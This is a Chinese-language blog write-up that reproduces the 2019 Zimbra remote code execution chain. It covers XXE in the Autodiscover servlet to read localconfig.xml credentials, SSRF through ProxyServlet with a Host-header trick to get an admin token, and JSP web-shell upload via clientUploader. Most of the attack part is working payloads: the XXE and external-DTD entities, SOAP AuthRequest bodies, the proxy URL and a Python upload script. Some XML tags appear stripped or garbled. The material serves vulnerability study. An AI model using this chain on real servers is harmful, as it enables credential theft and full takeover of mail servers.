《A Saga of Code Executions on Zimbra》RCE漏洞分析+复现过程

原文地址:
https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html
https://paper.tuisec.win/detail/8ac5a3d1efbf40b

下载Zimbra的包:

1.从地址https://www.zimbra.com/downloads/zimbra-collaboration-open-source/下载了Zimbra 8.6.0的开源版,并解压

2.解压packages/zimbra-core-***.rpm,得到zimbra核心库的内容,命令如下:

#需要自行安装rpm2cpio
rpm2cpio zimbra-core-8.6.0_GA_1153.RHEL6_64-20141215151155.x86_64.rpm | cpio -div

github上其实也有源码,但是jd-gui方便代码追踪
https://github.com/Grynn/zimbra-mirror

利用XXE读取密码:

CVE-2019-9670,文章中提示使用Autodiscover

查找zimbra-core中带有Autodiscover的类名

find . -name "*.jar"|awk '{print "jar -tvf "$1}' | sh -x | grep -i Autodiscover

更新一下命令(大家可以自己对比一下~):

find . -name "*.jar"|awk '{print "jar -tvf "$1"|awk '\''{print ""\""$1"\"""$0}'\''"}'  | sh | grep -i Autodiscover

PS:Windows下可以直接用Winrar之类的解压缩工具进行搜索。

找到如下两个包:

  • jar -tvf ./j2sdk-20140721/jre/lib/ext/nashorn.jar
    1758 Tue Jul 29 17:08:16 CST 2014 jdk/internal/dynalink/support/AutoDiscovery.class
  • jar -tvf ./lib/jars/zimbrastore.jar
    20149 Mon Dec 15 15:19:12 CST 2014 com/zimbra/cs/service/AutoDiscoverServlet.class

可以看出nashorn.jar是jre的中的jar包,应该不是我们的目标,而AutoDiscoverServlet带有Servlet字样,应是对外提供服务的。

在Zimbra的Wiki中https://wiki.zimbra.com/wiki/Autodiscover,给出了Autodiscover的地址为/Autodiscover/Autodiscover.xml(其实这个功能应该是exchange的)

向/Autodiscover/Autodiscover.xml POST一个空的xml:
《A Saga of Code Executions on Zimbra》RCE漏洞分析+复现过程_第1张图片

发现提示:No Email address is specified in the Request,在AutoDiscoverServlet.class的doPost中找到如下代码,确认为Autodiscover功能对应类。
《A Saga of Code Executions on Zimbra》RCE漏洞分析+复现过程_第2张图片


使用Jd-gui反编译代码,发现如下代码逻辑:

public void doPost(HttpServletRequest req, HttpServletResponse resp){
    ...
  reqBytes = ByteUtil.getContent(req.getInputStream(), req.getContentLength());
  ...
  String content = new String(reqBytes, "UTF-8");
  ...
  Document doc = docBuilder.parse(new InputSource(new StringReader(content)));
  ...
  //获取Request标签内容
   NodeList nList = doc.getElementsByTagName("Request");
   ...
    for (int i = 0; i < nList.getLength(); i++)
      {
        Node node = nList.item(i);
        if (node.getNodeType() == 1)
        {
          Element element = (Element)node;
          //读取EMailAddress、AcceptableResponseSchema的内容
          email = getTagValue("EMailAddress", element);
          responseSchema = getTagValue("AcceptableResponseSchema", element);
          //读到邮件跳出
          if (email != null) {
            break;
          }
        }
      }
      ...
      //邮件为null或者长度为0则报邮件错误
       if ((email == null) || (email.length() == 0))
    {
      log.warn("No Email address is specified in the Request, %s", new Object[] { content });
      sendError(resp, 400, "No Email address is specified in the Request");
      return;
    }
    //responseSchema如果不为两个给定类型则报错并返回responseSchema的内容,此处造成了回显式的XXE。
    if ((responseSchema != null) && (responseSchema.length() > 0)) {
      if ((!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006")) && (!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a")))
      {
        log.warn("Requested response schema not available " + responseSchema);
        sendError(resp, 503, "Requested response schema not available " + responseSchema);
        return;
      }


}

1.先读取了EMAILAddress和先读取了EMAILAddress和AcceptableResponseSchema
2.验证AcceptableResponseSchema是否正确,如果不正确则返回其内容并报错
3.验证登陆权限

网上查了个Autodiscovery的Request包:
https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxdscli/fc420a31-5180-4a28-8397-8db8977861c6

所以只要将希望XXE的内容放入AcceptableResponseSchema中即可:


]>
 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
      <EMailAddress>aaaaaEMailAddress>
      <AcceptableResponseSchema>&xxe;AcceptableResponseSchema>
    Request>
  Autodiscover>

《A Saga of Code Executions on Zimbra》RCE漏洞分析+复现过程_第3张图片
由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd:


<!ENTITY % start ">
<!ENTITY % end "]]>">
<!ENTITY % all " fileContents '%start;%file;%end;'>">

提交报文内容


        %dtd;
        %all;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaaEMailAddress>
        <AcceptableResponseSchema>&fileContents;AcceptableResponseSchema>
    Request>
Autodiscover>

响应如下:
《A Saga of Code Executions on Zimbra》RCE漏洞分析+复现过程_第4张图片
参考:
https://www.acunetix.com/blog/articles/band-xml-external-entity-oob-xxe/

SSRF

接口参考:
https://files.zimbra.com/docs/soap_api/8.0.4/soap-docs-804/api-reference/index.html
Proxy_Servlet文档:
https://wiki.zimbra.com/wiki/Zimlet_Developers_Guide:Proxy_Servlet_Setup

如上步骤找一下ProxyServlet

  • jar -tvf ./zimbra/lib/jars/zimbrastore.jar
    14208 Mon Dec 15 15:19:22 CST 2014 com/zimbra/cs/zimlet/ProxyServlet.class
    还是在zimbrastore.jar中

ProxyServlet顾名思义,会把请求转发到指定的target,我们可以通过该接口访问到本地监听的7071管理端口。

按照文章中所给分析,将Host修改为:7071为结尾的值,假装自己是从管理端口进入(ServletRequest.getServerPort()取Request中Host端口的问题),同时在Cookie中使用一个低权限的Token,即可进行SSRF。
原文配图:
《A Saga of Code Executions on Zimbra》RCE漏洞分析+复现过程_第5张图片
低权限token可通过soap接口发送AuthRequest进行获取:

https://target.com/service/soap
先使用上面通过xxe获取的zimbra_admin_name和zimbra_ldap_password进行登陆,获取一个低权限Token

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       context>
   soap:Header>
   <soap:Body>
     <AuthRequest xmlns="urn:zimbraAccount">
        <account by="adminName">zimbraaccount>
        <password>xxxxpassword>
     AuthRequest>
   soap:Body>
soap:Envelope>

响应中包含一个token:
《A Saga of Code Executions on Zimbra》RCE漏洞分析+复现过程_第6张图片而后再通过proxy接口,访问admin的soap接口获取高权限Token
https://target.com/service/proxy?target=https://127.0.0.1:7071/service/admin/soap

Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为上面请求所获取的token。

发送同上Body内容,但是AuthRequest的xmlns要改为:urn:zimbraAdmin,否则获取的还是普通权限的Token

注意7071端口是https的,刚开始写成了HTTP,卡了有一个小时。。

文件上传

长亭的预警文章给的提示,可以用文件上传,具体参考 CVE-2013-7091 EXP其中的文件上传部分

import requests
f = {
    'filename1':(None,"justatest.jsp",None),
    'clientFile':("justatest123.jsp",r'<%out.println("justatest");%>',"text/plain"),#以这里的文件名为准
    'requestId':(None,"12",None),
}

headers ={
    "Cookie":"ZM_ADMIN_AUTH_TOKEN=admin_token",#改成自己的admin_token
    "Host":"foo:7071"
}

r = requests.post("https://target.com/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
print(r.text)

最后效果:
在这里插入图片描述

其他

  1. ProxyServlet不会给代理的地址传所给Cookie,所以如果用Cookie认证类的接口想用Proxy是没法用的。
  2. 前面找接口的方法是有问题的,其实应该看/opt/zimbra/conf/web.xml,开始没照到这个文件。
    github上也有:
    https://github.com/Grynn/zimbra-mirror/blob/074c1ea8a288627b845a99399eec6b2f3ce738d5/ZimbraServer/conf/web.xml

POC

仅供漏洞验证使用,请勿用于违法用途
https://github.com/fnmsd/zimbra_poc

你可能感兴趣的:(Java,安全,漏洞)